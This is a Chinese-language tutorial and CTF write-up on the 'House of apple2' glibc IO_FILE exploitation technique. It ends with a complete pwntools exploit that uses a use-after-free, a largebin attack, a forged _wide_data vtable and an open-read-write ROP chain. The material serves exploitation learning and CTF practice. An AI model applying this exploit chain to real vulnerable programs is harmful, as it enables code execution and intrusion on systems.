新型 IO 利用方法学习——House of apple2

简介

House of apple 是 roderick01 师傅在 2022 年 7 月提出的一种新型的 IO 利用思路,总共提出了三种调用方式,分为了 House of apple1、House of apple2、House of apple3,这三种调用方式都是基于 roderick01 师傅发现的新调用链:IO_FILE -> _wide_data

前置基础

在 libc2.34 以上的高libc版本中,glibc 逐渐将许多 hook全局变量移除了,包括 _malloc_hook / _free_hook / _realloc_hook ,这就导致我们无法在向从前那样利用 hook 作为钩子函数来 getshell 了,所以到了高版本,堆利用便离不开对 _IO_FILE 的伪造和对 IO 流的劫持

在 House of apple 之前的高版本 IO 利用方式有(详细可以见我之前写的几篇文章):

  1. House of pig :多手法联合IO利用之House of pig 学习利用
  2. House of kiwi & House of emma :IO利用之House of kiwi & House of emma
  3. House of cat(提出时间比House of apple 稍早):新型 IO 利用方法初探—House of cat 学习利用

浏览了这些 IO 利用方式我们可以发现,之前的这些 IO 调用方式都需要至少两次 largebin attack 或者 需要任意读写操作,例如House of pig 需要利用 tcache stashing unlink attack 和 largebin attack 结合,而House of kiwi、House of emma、House of cat 等都需要至少两次的 largebin attack 或任意写来修改对应的 _IO_xxx_jumps 甚至是需要再劫持其他结构(House of emma 需要绕过或劫持 TLS 结构体中的 _pointer_chk_guard)

利用条件

House of apple到现在仍是用途最广,攻击效果最好的高版本堆利用方式之一,很大程度上来源于他的利用之方便。

House of apple的利用条件如下:

  1. 程序从main函数返回或能调用exit函数
  2. 能泄露出heap地址和libc地址
  3. 能使用一次largebin attack

只需要一次 largebin attack 就意味着House of apple 的调用链更加简便并能够在更加苛刻的条件下利用成功

利用思路

House of apple 总共有三条调用链:

House of apple1 是通过控制 fp->_wide_data 来实现的一个任意地址写已知地址的作用,相当于一次 largebin attack 主要是用来结合 FSOP 及 setcontext+61 等调用链来实现getshell,暂按下不表

House of apple2 和 House of apple3 都是通过 FILE 结构体的伪造来进行攻击,这里主要介绍House of apple2的调用方法

House of apple2 延续了之前利用largebin attack 劫持IO_FILE结构体的思想,在House of apple2中,我们要利用的是 _IO_FILE的一个成员 _wide_data

附 : _IO_list_all 中的成员

pwndbg> p *_IO_list_all
$2 = {
  file = {
    _flags = -72540025,
    _IO_read_ptr = 0x7ff1eaad7643 <_IO_2_1_stderr_+131> "",
    _IO_read_end = 0x7ff1eaad7643 <_IO_2_1_stderr_+131> "",
    _IO_read_base = 0x7ff1eaad7643 <_IO_2_1_stderr_+131> "",
    _IO_write_base = 0x7ff1eaad7643 <_IO_2_1_stderr_+131> "",
    _IO_write_ptr = 0x7ff1eaad7643 <_IO_2_1_stderr_+131> "",
    _IO_write_end = 0x7ff1eaad7643 <_IO_2_1_stderr_+131> "",
    _IO_buf_base = 0x7ff1eaad7643 <_IO_2_1_stderr_+131> "",
    _IO_buf_end = 0x7ff1eaad7644 <_IO_2_1_stderr_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ff1eaad76a0 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ff1eaad87d0 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ff1eaad6780 <_IO_wide_data_2>,//这个变量是我们需要劫持的
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ff1eaad34a0 <_IO_file_jumps>//vtable
}

程序从main返回或者执行exit后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足条件的话,会调用每个结构体中vtable->_overflow函数指针指向的函数。

在 libc2.23 之前是没有 vtable 检测的,也就是说可以任意劫持执行的函数。而在glibc2.24之后增加了对 vtable 合法性的检测的 IO_validate_vtable 函数

/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

所以一些高版本的 IO 攻击方法都需要利用各种手法来绕过vtable检测

但是 _wide_data 这个成员很特殊,这个成员结构体中的 _wide_vtable和调用vtable里函数指针一样,在调用 _wide_vtable 虚表里面的函数时,也同样是使用宏去调用,但其没有关于vtable的合法性检查

pwndbg> p _IO_wide_data_2
$4 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"",
  _wide_vtable = 0x7ff1eaad2f60 <_IO_wfile_jumps>
}
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

那么我们的利用思路如下

  1. 劫持IO_FILE的vtable为_IO_wfile_jumps
  2. 控制_wide_data为可控的堆地址空间
  3. 控制_wide_data->_wide_vtable为可控的堆地址空间
  4. 控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流

roderick01 师傅在文章里一共给出了三条可行的能执行到 _IO_Wxxxxx 函数的利用,包括了:

  • _IO_wfile_overflow
  • _IO_wfile_underflow_mmap
  • _IO_wdefault_xsgetn

源码分析

1. _IO_wfile_overflow

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);//执行目标
      // ......
    }
    }
}

需要执行到 _IO_wdoallocbuf (f) 函数

再看看 _IO_wdoallocbuf (f) 的源码:

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)//
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

可以发现有一步执行了 (wint_t)_IO_WDOALLOCATE (fp) 函数,也就是提到的 _IO_WXXXXX 函数之一

调用链如下:

_IO_wfile_overflow --> _IO_wdoallocbuf --> _IO_WDOALLOCATE

2. _IO_wfile_underflow_mmap

static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
  struct _IO_codecvt *cd;
  const char *read_stop;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr >= fp->_IO_read_end
      /* No.  But maybe the read buffer is not fully set up.  */
      && _IO_file_underflow_mmap (fp) == EOF)
    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
       flags as appropriate.  */
    return WEOF;

  /* There is more in the external.  Convert it.  */
  read_stop = (const char *) fp->_IO_read_ptr;

  if (fp->_wide_data->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
    {
      free (fp->_wide_data->_IO_save_base);
      fp->_flags &= ~_IO_IN_BACKUP;
    }
      _IO_wdoallocbuf (fp);
    }
    //......
}

同样是调用到了 _IO_wdoallocbuf (fp) 函数

调用链如下:

_IO_wfile_underflow_mmap --> _IO_wdoallocbuf --> _IO_WDOALLOCATE

3. _IO_wdefault_xsgetn

size_t
_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t more = n;
  wchar_t *s = (wchar_t*) data;
  for (;;)
    {
      /* Data available. */
      ssize_t count = (fp->_wide_data->_IO_read_end
                       - fp->_wide_data->_IO_read_ptr);
      if (count > 0)
    {
      if ((size_t) count > more)
        count = more;
      if (count > 20)
        {
          s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);
          fp->_wide_data->_IO_read_ptr += count;
        }
      else if (count <= 0)
        count = 0;
      else
        {
          wchar_t *p = fp->_wide_data->_IO_read_ptr;
          int i = (int) count;
          while (--i >= 0)
        *s++ = *p++;
          fp->_wide_data->_IO_read_ptr = p;
            }
            more -= count;
        }
      if (more == 0 || __wunderflow (fp) == WEOF)
    break;
    }
  return n - more;
}
libc_hidden_def (_IO_wdefault_xsgetn)

可以看到有一个 __wunderflow (fp) 函数

看看这个函数

wint_t
__wunderflow (FILE *fp)
{
  if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1))
    return WEOF;

  if (fp->_mode == 0)
    _IO_fwide (fp, 1);
  if (_IO_in_put_mode (fp))
    if (_IO_switch_to_wget_mode (fp) == EOF)
      return WEOF;
    // ......
}

在 _IO_switch_to_wget_mode (fp) 函数中会调用 _IO_WOVERFLOW (fp, WEOF) 函数

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) 
      return EOF;
    // .....
}

调用链如下

_IO_wdefault_xsgetn --> __wunderflow --> _IO_switch_to_wget_mode --> _IO_WOVERFLOW

具体劫持情况中函数的各参数需要满足的条件可以看看roderick01师傅的原文章:[原创] House of apple 一种新的glibc中IO攻击方法 (2)

例题:heaporw

ida

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v2; // [rsp+4h] [rbp-Ch]

  ready();
  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        menu();
        v2 = my_read();
        if ( v2 != 4 )
          break;
        edit();
      }
    }
    while ( v2 > 4 );
    if ( v2 == 3 )
    {
      show();
    }
    else if ( v2 <= 3 )
    {
      if ( v2 == 1 )
      {
        add();
      }
      else if ( v2 == 2 )
      {
        delete();
      }
    }
  }
}
int __cdecl add()
{
  unsigned int size; // [rsp+8h] [rbp-38h]
  int index; // [rsp+Ch] [rbp-34h]
  __int64 *ptr; // [rsp+10h] [rbp-30h]
  char buf[4]; // [rsp+1Ch] [rbp-24h] BYREF
  char idx[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  puts("How much?");
  read(0, buf, 5uLL);
  size = atoi(buf);
  if ( size > 0x550 || size <= 0x41F )
  {
    puts("size error!");
    exit(0);
  }
  ptr = (__int64 *)malloc(size);
  puts("Which?");
  read(0, idx, 8uLL);
  index = atoi(idx);
  pwn_size[index] = size;
  pwn_ptr[index] = (__int64)ptr;
  puts("Content:");
  read(0, (void *)pwn_ptr[index], size);
  return puts("Okk");
}
int __cdecl delete()
{
  unsigned int index; // [rsp+Ch] [rbp-14h]
  char v3[5]; // [rsp+13h] [rbp-Dh] BYREF
  unsigned __int64 var8; // [rsp+18h] [rbp-8h]

  var8 = __readfsqword(0x28u);
  puts("Which one?");
  read(0, v3, 5uLL);
  index = atoi(v3);
  if ( index <= 0x20 && pwn_ptr[index] )
    free((void *)pwn_ptr[index]);
  else
    puts("Invalid idx");
  return puts("Delete OK!");
}
int __cdecl show()
{
  unsigned int v0; // [rsp+Ch] [rbp-24h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which one?");
  read(0, buf, 0x10uLL);
  v0 = atoi(buf);
  if ( v0 > 0x20 )
    return 0;
  if ( !pwn_ptr[v0] )
    return puts("It is empty!");
  write(1, (const void *)pwn_ptr[v0], 0x18uLL);
  return puts("Show OK!");
}
int __cdecl edit()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which one?");
  read(0, buf, 0x10uLL);
  v1 = atoi(buf);
  if ( v1 > 0xF )
    return 0;
  if ( !pwn_ptr[v1] )
    return puts("Empty!");
  puts("Content:");
  read(0, (void *)pwn_ptr[v1], (unsigned int)pwn_size[v1]);
  return puts("Edit OK!");
}

源码分析

增删查改四个功能都有

if ( size > 0x550 || size <= 0x41F )
 {
   puts("size error!");
   exit(0);
 }

其中add功能只能add largebin chunk

free功能里有UAF漏洞

if ( index <= 0x20 && pwn_ptr[index] )
      free(pwn_ptr[index]);

并且开启了沙箱

攻击流程

largebin chunk的优点就是泄露libc较为简单

free掉就可以泄露了,要注意防止合并

add(0,0x500,'aaaa')
add(1,0x500,'aaaa')
#chunk0+chunk1 = heapbase --> heapbase+0x1000
delete(0)
show(0)

然后由于apple需要利用largebin attack,所以还要泄露heap_base(选 2.31不用考虑safe-linking的12异或,图个方便)

先把chunk1 free掉,让两个chunk都合并到topchunk中,然后再add 3个chunk

delete(1)
add(2,0x420,'bbbb')
add(3,0x420,'bbbb')
add(4,0x420,'bbbb')

利用edit after free 修改size让chunk free之后进入到tcachebin中,show出heap地址

edit(0,'\x00'*0x420+p64(0)+p64(0x41))
edit(1,'\x00'*0x340+p64(0)+p64(0x41))

delete(3)
delete(4)
show(4)

edit(0,'\x00'*0x420+p64(0)+p64(0x431))
edit(1,'\x00'*0x340+p64(0)+p64(0x431))

接下来构造好largebin attack的触发

add(5,0x450,'bbbb')
add(6,0x450,'bbbb')
add(7,0x440,'bbbb')
add(8,0x440,'bbbb')
delete(5)#chunk5 --> unsorted bin
add(9,0x500,'bbbb')#chunk5 --> largebin
delete(7)#chunk7-->unsortedbin

下一步就是构造好orw链和fake io

这里是winmt师傅的文章浇的原理[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com

tql

通过svcudp_reply+26处的gadget做到类似于栈迁移的效果,走ROP链打orw

<svcudp_reply+26>:  mov  rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>:  mov  rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>:  lea  r13,[rbp+0x10]
<svcudp_reply+38>:  mov  DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>:  mov  rdi,r13
<svcudp_reply+48>:  call  QWORD PTR [rax+0x28]

构造orw链

#open
orw = b'./flag\x00\x00'
orw += p64(pop_rdx12) + p64(0) + p64(chunk0 - 0x10)#fake io addr
orw += p64(pop_rdi) + p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(open_addr)
#read
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(orw_addr + 0x100)
orw += p64(puts_addr)

其中chunk0是我们伪造的fakeio的地址

伪造fake io_list

#_IO_list_all
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20) #2c0
pl+=p64(0)*3 #2e0
pl+=p64(orw_addr) #chunk0 + 0xe0 + 0xe8 + 0x70 -- _IO_save_base
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(chunk0 + 0xe0) #370: chunk0+0xe0 -- _IO_wide_data
pl+=p64(0)*6
pl+=p64(wfile)

#_IO_wide_data
pl+=p64(0)*0x1c
pl+=p64(chunk0 + 0xe0 + 0xe8) #_IO_jump_t

#_IO_jump_t
pl+=p64(0)*0xd
pl+=p64(magic_gadget)#svcudp_reply+26处的gadget
pl+=orw

带入本题中

chunk0 = heap_base + 0xf20 #fake_IO
orw_addr=heap_base+0x2090
orw=b'./flag\x00\x00'
orw+=p64(pop_rdx_r12)+p64(0)+p64(chunk0-0x10)
orw+=p64(pop_rdi)+p64(orw_addr)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(open_addr)
#read
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(orw_addr+0x100)
orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
orw+=p64(read_addr)
#puts
orw+=p64(pop_rdi)+p64(orw_addr+0x100)
orw+=p64(puts_addr)

edit(9,orw)

magic_gadget = libc_base + 0x154dd0 +26
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr) #chunk0+0x48
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile) 
pl+=p64(0)*0x1c+p64(chunk0+0xe0+0xe8)     #chunk0+0xe0
pl+=p64(0)*0xd+p64(magic_gadget)
edit(5,pl)
add(8,0x500,'bbbb')

edit 5改写bk_nextsize后add触发largebin attack将fake io挂到io_list_all上

接着把前一个chunk抽走让io_list_all 链上我们构造的fake io(不然链接的就是偏移为0x17e0位置的chunk了)

再exit触发io即可执行orw链拿到flag

add(10,0x440,'aaaa')
dbg()#8
choice(add_idx)
sla('How much?\n',str(20))

执行效果

_IO_wfile_overflow

_IO_wdoallocbuf

_IO_WDOALLOCATE(伪造成magic_gadget)

orw链的执行

完整exp:

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc-2.31.so')


add_idx = 1
delete_idx = 2
show_idx = 3
edit_idx = 4

def dbg():
    gdb.attach(p)
    pause()

def choice(cho):
    sla('>> ',cho)

def add(idx,size,content):
    choice(add_idx)
    sla('How much?\n',size)
    sla('Which?\n',idx)
    sla('Content:\n',content)

def delete(idx):
    choice(delete_idx)
    sla('Which one?\n',idx)

def show(idx):
    choice(show_idx)
    sla('Which one?\n',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('Which one?\n',idx)
    sla('Content:\n',content)


add(0,0x500,'aaaa')
add(1,0x500,'aaaa')
delete(0)
show(0)

libc_base=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x1ecbe0
leak('libc_base ',libc_base)

delete(1)
add(2,0x420,'bbbb')
add(3,0x420,'bbbb')
add(4,0x420,'bbbb')

edit(0,'\x00'*0x420+p64(0)+p64(0x41))
edit(1,'\x00'*0x340+p64(0)+p64(0x41))

delete(3)
delete(4)
show(4)

heap_base=u64(p.recv(6)[-6:].ljust(8,'\x00'))-0x6d0
leak('heap_base',heap_base)

edit(0,'\x00'*0x420+p64(0)+p64(0x431))
edit(1,'\x00'*0x340+p64(0)+p64(0x431))

add(5,0x450,'bbbb')
add(6,0x450,'bbbb')
add(7,0x440,'bbbb')
add(8,0x440,'bbbb')
delete(5)

add(9,0x500,'bbbb')

delete(7)

pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))

open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
puts_addr=libc.symbols['puts']+libc_base
setcontext=libc_base+0x0000000000151990

leave_ret=libc_base+0x00000000000578c8

io_all = libc_base + libc.sym['_IO_list_all']  
wfile = libc_base + libc.sym['_IO_wfile_jumps']



lock = libc_base+0x1ee7d0    
magic_gadget = libc_base + 0x154dd0 +26
chunk0 = heap_base + 0xf20 #fake_IO
orw_addr=heap_base+0x2090
orw=b'./flag\x00\x00'
orw+=p64(pop_rdx_r12)+p64(0)+p64(chunk0-0x10)
orw+=p64(pop_rdi)+p64(orw_addr)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(open_addr)

orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(orw_addr+0x100)
orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
orw+=p64(read_addr)

orw+=p64(pop_rdi)+p64(orw_addr+0x100)
orw+=p64(puts_addr)

edit(9,orw)


pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr) #chunk0+0x48
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile) 
pl+=p64(0)*0x1c+p64(chunk0+0xe0+0xe8)     #chunk0+0xe0
pl+=p64(0)*0xd+p64(magic_gadget)

edit(5,pl)#4
add(8,0x500,'bbbb')

add(10,0x440,'aaaa')

choice(add_idx)

sla('How much?\n',str(20))

itr()

总结

House of apple2至今仍然是 IO 利用中最好用的手法之一,只需要一次 largebin attack 的简便手法以及巧妙的 IO 函数调用链也是它至今仍全版本通用的秘方